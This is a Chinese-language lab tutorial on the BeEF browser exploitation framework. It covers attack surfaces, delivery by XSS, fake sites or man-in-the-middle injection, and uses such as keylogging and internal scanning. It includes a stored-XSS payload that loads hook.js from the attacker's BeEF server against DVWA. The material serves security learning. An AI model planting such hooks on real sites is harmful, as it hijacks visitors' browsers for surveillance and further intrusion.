目录
- 浏览器攻击面
- BEEF(Browser exploitation framework)
- 攻击手段
- 常见用途
- 启动beef
- 使用beef执行js
- beef模块
- 主要模块
1、浏览器攻击面
- 应用普遍转移到B/S架构,浏览器称为统一客户端程序
- 结合社会工程学方法对浏览器进行攻击
- 攻击浏览器用户
- 通过注入JS脚本,利用浏览器攻击其他网站
2、BEEF(Browser exploitation framework)
- 生成、交付payload,每一种攻击对应一种模块,自动下发给浏览器执行payload
- ruby语言编写,在漏洞利用框架的编写的,ruby具有一些优势,如metasploit frame也是基于ruby编写
- 服务器端:管理hooked客户端
- 客户端:运行于客户端浏览器的JavaScript脚本
3、攻击手段
- 利用网站xss漏洞实现攻击
- 诱使客户端访问含有hook的伪造站点
- 结合中间人攻击注入hook脚本
4、常见用途
- 键盘记录器
- 网络扫描:利用被hook的主机发起所属局域网或其他网络的扫描
- 浏览器信息收集
- 绑定shell
- 与metasploit集成
5、启动beef
在kali最左侧栏可以直接看到启动图标,点击后直接启动
6、使用beef执行js
访问beef,输入http://192.168.50.115:3000/ui/panel
(因为是在kali,可以输入127.0.0.1),用户名和密码均为beef
下面可以通过beef已有的js脚本实施注入,通过xss stored进行测试
<script src="http://192.168.50.115:3000/hook.js"></script>
点击提交,执行后,在beef的管理界面可以看到hook到的客户端信息(包括使用kali和宿主机的浏览器分别访问dvwa的xss stored页面)
7、beef模块
在beef的command中,有多个模块,每一个模块下面有很多js能够下发给客户端,然后被客户端执行,模块也是分颜色的,每一种颜色代表一种使用场景
- 绿色模块:表示模块适合目标浏览器,并且执行结果被客户端不可见
- 红色模块:表示模块不适用于当前用户,有些红色模块也可正常执行
- 橙色模块:模块可用,但结果对用户可见(CAM弹窗申请权限等)
- 灰色模块:模块未在目标浏览器上测试过
举例:修改页面中的链接,统一为http://www.baidu.com
执行后,点击页面中存在的链接,都会被指向到www.baidu.com
8、主要模块
- Browsers
- Exploits
- Host
- Persistence
- Network